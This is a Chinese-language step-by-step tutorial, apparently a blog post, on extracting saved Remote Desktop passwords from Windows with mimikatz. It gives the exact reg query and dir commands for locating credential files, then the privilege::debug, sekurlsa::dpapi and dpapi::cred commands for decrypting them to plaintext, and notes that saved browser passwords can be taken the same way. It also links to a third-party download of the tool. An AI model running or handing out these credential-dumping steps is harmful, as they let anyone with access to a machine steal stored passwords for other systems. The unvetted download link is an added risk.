获取远程桌面密码(mimikatz)

1、查询试用远程桌面连接过的信息

reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s

2、获取凭证目录保存信息

dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*

 上面两步是在cmd中运行的   只求结果的话第一步可以忽略

下面是提取密码的重点部分，提取之前请先下载工具https://hjyrobot.lanzouw.com/iJHspzai1fe

3、下载之后解压，我用的x64的，记重点一定要用管理员身份打开mimikatz.exe

 

4、选择一个密码文件对其进行解密。此处需要记录下guidMasterKey的值，待会要通过guidMasterKey找对应的Masterkey。

mimikatz # privilege::debug
mimikatz # dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\989D64B39BE25725073053118EA4E7EE

 5、根据guidMasterKey找到对应的Masterkey。

mimikatz # sekurlsa::dpapi

 6、通过Masterkey解密出明文RDP连接密码。

mimikatz # dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\989D64B39BE25725073053118EA4E7EE /masterkey:bef9810fd9548bf9377d6deb49a4a985482ac9522c1974ed5d07bdefeb6c6d39db19b97aa9986af68abd908928a1c1cd6d531aa7a14e11624af7d7078e1fd62e

 7、页面不关闭的清空下，继续发送请求可以提取其他RDP的密码,只用改下面蓝色部分即可(蓝色部分来自第2步)

mimikatz # dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\C1F31A12075F5DC62238288994233498

　　

至此就已经完毕了，我这边主要是忘记RDP密码的提取，浏览器的密码重复上面步骤即可